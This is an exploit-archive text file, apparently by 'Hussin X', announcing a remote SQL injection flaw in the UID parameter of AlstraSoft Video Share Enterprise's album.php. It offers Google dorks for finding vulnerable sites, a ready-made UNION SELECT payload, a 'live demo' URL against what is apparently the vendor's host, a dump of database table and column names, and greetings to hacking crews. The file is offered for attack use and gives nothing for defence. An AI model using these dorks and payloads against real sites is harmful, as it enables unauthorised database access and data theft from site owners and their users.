alstrasoftvideo-sql.txt

`|___________________________________________________|  
|  
| Video Share Enterprise (UID) Remote SQL Injection Vulnerability  
|  
|___________________________________________________  
|---------------------Hussin X----------------------|  
|  
| Author: Hussin X  
|  
| Home : www.tryag.cc/cc  
|  
| email: darkangel_g85[at]Yahoo[DoT]com  
|  
|  
|___________________________________________________  
| |  
|  
|  
| script : http://www.alstrasoft.com/videoshare.htm  
|  
| DorK : Powered By AlstraSoft Video Share Enterprise  
| DorK : inurl:"album.php?UID="  
| DorK : inurl:"view_picture.php?viewkey="  
|___________________________________________________|  
  
Exploit:   
  
  
www.[target].com/Script/album.php?UID=-58+UNION+SELECT+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--  
  
  
L!VE DEMO: :  
  
http://www.alstrahost.com/vs/album.php?UID=-58+UNION+SELECT+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--  
  
________________________  
table_name : column_name  
  
  
adv:adv_status  
adv:adv_text  
adv:adv_name  
adv:adv_id  
audio:embed  
audio:be_rated  
audio:be_comment  
audio:filehome  
audio:rate  
audio:ratedby  
audio:fav_num  
audio:featured  
audio:com_num  
audio:viewnumber  
audio:vkey  
audio:country  
audio:location  
audio:record_date  
audio:adddate  
audio:addtime  
audio:type  
audio:duration  
audio:duration  
audio:flvdoname  
audio:vdoname  
audio:channel  
audio:keyword  
audio:featuredesc  
audio:UID  
audio:description  
audio:VID  
  
________________________  
  
  
  
____________________________( Greetz )____________________________  
|  
| tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke  
|   
| Iraqihack | FAHD | mos_chori | Silic0n   
|  
|_________________________________________________________________  
  
  
Im IRAQi  
  
`